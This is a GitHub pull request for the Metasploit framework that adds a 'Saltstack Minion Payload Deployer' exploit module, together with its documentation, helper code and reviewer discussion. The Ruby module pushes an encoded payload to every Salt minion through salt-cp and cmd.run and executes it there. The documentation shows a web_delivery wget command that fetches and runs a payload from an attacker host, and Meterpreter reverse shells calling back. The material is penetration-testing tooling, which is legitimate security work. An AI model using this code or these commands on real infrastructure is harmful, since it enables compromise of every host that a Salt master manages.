-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Saltstack salt minion deployer #18626
Changes from 6 commits
0230243
5e30328
a5698f6
e722429
b654275
47a58bd
80e9f1b
e9296d1
2cfcb74
381b840
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
## Vulnerable Application | ||
|
||
This exploit module uses saltstack salt to deploy a payload and run it | ||
on all targets which have been selected (default all). | ||
Currently only works against nix targets. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Get an initial shell on the box | ||
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer` | ||
1. Do: `set session [#]` | ||
1. Do: `run` | ||
1. You should get sessions on all the targeted hosts | ||
|
||
## Options | ||
|
||
### SALT | ||
|
||
Location of salt-master executable if not in a standard location. This is added to a list of default locations | ||
which includes `/usr/bin/salt-master`. Defaults to `` | ||
|
||
### MINIONS | ||
|
||
Which minions to target. Defaults to `*` | ||
|
||
## WritableDir | ||
|
||
A directory on the compromised host we can write our payload to. Defaults to `/tmp` | ||
|
||
## TargetWritableDir | ||
|
||
A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp` | ||
|
||
## CALCULATE | ||
|
||
This will calculate how many hosts may be exploitable by using Ansible's ping command. | ||
|
||
### ListenerTimeout | ||
|
||
How many seconds to wait after executing the payload for hosts to call back. Defaults to `60` | ||
|
||
## Scenarios | ||
|
||
### Minion 3002.2 on Ubuntu 20.04 | ||
|
||
Get initial access to the system. In this case, root was required to execute salt commands successfully. | ||
|
||
``` | ||
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (salt_deploy.rb)> set srvport 8181 | ||
srvport => 8181 | ||
resource (salt_deploy.rb)> set target 7 | ||
target => 7 | ||
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Using URL: http://1.1.1.1:8181/hvy2Ol | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown | ||
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) | ||
[*] Sending stage (3045380 bytes) to 3.3.3.3 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500 | ||
``` | ||
|
||
``` | ||
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer | ||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> set session 1 | ||
session => 1 | ||
resource (salt_deploy.rb)> set verbose true | ||
verbose => true | ||
resource (salt_deploy.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (salt_deploy.rb)> set lport 9996 | ||
lport => 9996 | ||
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) > | ||
|
||
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run | ||
[*] Exploit running as background job 1. | ||
[*] Exploit completed, but no session was created. | ||
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > | ||
[*] Started reverse TCP handler on 1.1.1.1:9996 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] /tmp is writable, and salt-master executable found | ||
[+] The target is vulnerable. | ||
[*] Attempting to list minions | ||
[*] minions: | ||
- mac_minion | ||
- salt-minion | ||
- window-salt-minion | ||
minions_denied: [] | ||
minions_pre: [] | ||
minions_rejected: [] | ||
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml | ||
[+] Minions List | ||
============ | ||
|
||
Status Minion Name | ||
------ ----------- | ||
Accepted mac_minion | ||
Accepted salt-minion | ||
Accepted window-salt-minion | ||
|
||
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal. | ||
[*] Writing '/tmp/E76Azw' (336 bytes) ... | ||
[*] Copying payload to minions | ||
|
||
[*] Executing payloads | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500 | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
require 'yaml' | ||
|
||
module Msf | ||
module Exploit::Local::Saltstack | ||
# | ||
# lists minions using the salt-key command. | ||
# | ||
# @param salt_key_exe [String] The name location of the salt-key executable | ||
# @return [YAML] YAML document with the minions listed | ||
# | ||
def list_minions(salt_key_exe = 'salt-key') | ||
# pull minions from a master, returns hash of lists of the output | ||
print_status('Attempting to list minions') | ||
unless command_exists?(salt_key_exe) | ||
print_error('salt-key not present on system') | ||
return | ||
end | ||
|
||
begin | ||
out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT']) | ||
vprint_status(out) | ||
minions = YAML.safe_load(out) | ||
rescue Psych::SyntaxError | ||
print_error('Unable to load salt-key -L data') | ||
return | ||
end | ||
|
||
store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') | ||
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") | ||
minions | ||
end | ||
end | ||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,137 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = GoodRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::Local::Saltstack | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Saltstack Minion Payload Deployer', | ||
'Description' => %q{ | ||
This exploit module uses saltstack salt to deploy a payload and run it | ||
on all targets which have been selected (default all). | ||
Currently only works against nix targets. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'c2Vlcgo' | ||
], | ||
'Platform' => [ 'linux', 'unix' ], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. One can install the SaltMaster on windows too. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yup, It could be a target and host, as well as OSX. I was trying not to overly complicate this PR by making it work on and against everything the software does. From what I've seen "in the wild" it's always been linux on linux, however I'm sure thats a limited scope. A follow-on PR can expand the scope out. In theory that was trivial until the |
||
'Stance' => Msf::Exploit::Stance::Passive, | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Aren't all arch supported? |
||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'Privileged' => true, | ||
'References' => [], | ||
'DisclosureDate' => '2011-03-19', # saltstack salt original release date | ||
'DefaultTarget' => 0, | ||
'Passive' => true, # this allows us to get multiple shells calling home | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_options [ | ||
OptString.new('SALT', [true, 'salt-master executable location', '/usr/bin/salt-master']), | ||
OptString.new('MINIONS', [true, 'Minions Target', '*']), | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), | ||
OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]), | ||
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), | ||
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]), | ||
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120]) | ||
] | ||
end | ||
|
||
def salt_master | ||
return @salt if @salt | ||
|
||
[datastore['SALT'], '/usr/bin/salt-master'].each do |exec| | ||
next unless executable?(exec) | ||
|
||
@salt = exec | ||
end | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
@salt | ||
end | ||
|
||
def list_minions_printer | ||
minions = list_minions | ||
return if minions.nil? | ||
|
||
tbl = Rex::Text::Table.new( | ||
'Header' => 'Minions List', | ||
'Indent' => 1, | ||
'Columns' => ['Status', 'Minion Name'] | ||
) | ||
|
||
count = 0 | ||
minions['minions'].each do |minion| | ||
tbl << ['Accepted', minion] | ||
count += 1 | ||
end | ||
|
||
print_good(tbl.to_s) | ||
|
||
# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017 | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Thanks for explaining the However, I would have half expected all hell breaking loose and returning 1000 shells to be somewhat desirable as a part of the slayer raining shells series. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I agree, but with that volume of shells you can start running into issues with bandwidth etc. I know we've had so many |
||
print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.") | ||
Rex.sleep(10) | ||
end | ||
|
||
def check | ||
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil? | ||
|
||
CheckCode::Vulnerable('salt-master executable found') | ||
end | ||
|
||
def exploit | ||
# Make sure we can write our exploit and payload to the local system | ||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] | ||
list_minions_printer if datastore['CALCULATE'] | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If no minions are found connected to the master, we still attempt to deploy the payload from the master, which I don't think is desirable behaviour:
Should we maybe be running There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I don't like the idea of forcing this to run, it can be noisy and potentially take time that the user doesn't want to devote. However, I do like the idea of bailing on no targets. I've opted to default to running, but if we do a count and its
|
||
|
||
payload_name = rand_text_alphanumeric(5..10) | ||
|
||
# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899 | ||
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe) | ||
|
||
print_status('Copying payload to minions') | ||
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'") | ||
print_status('Executing payloads') | ||
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'") | ||
|
||
# stolen from exploit/multi/handler | ||
stime = Time.now.to_f | ||
timeout = datastore['ListenerTimeout'].to_i | ||
loop do | ||
break if timeout > 0 && (stime + timeout < Time.now.to_f) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why are we breaking conditionally on a positive, nonzero timeout? Are we expecting a 0 or negative timeout? We're not decrementing it that I see? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is 100% taken from |
||
|
||
Rex::ThreadSafe.sleep(1) | ||
end | ||
end | ||
|
||
def on_new_session(_session) | ||
super | ||
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi') | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
begin | ||
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}") | ||
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}") | ||
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed") | ||
rescue StandardError | ||
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}") | ||
end | ||
end | ||
|
||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What's a
minions_pre
?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
not sure, thats a salt specific term. I believe it means they're in a pending to be accepted state.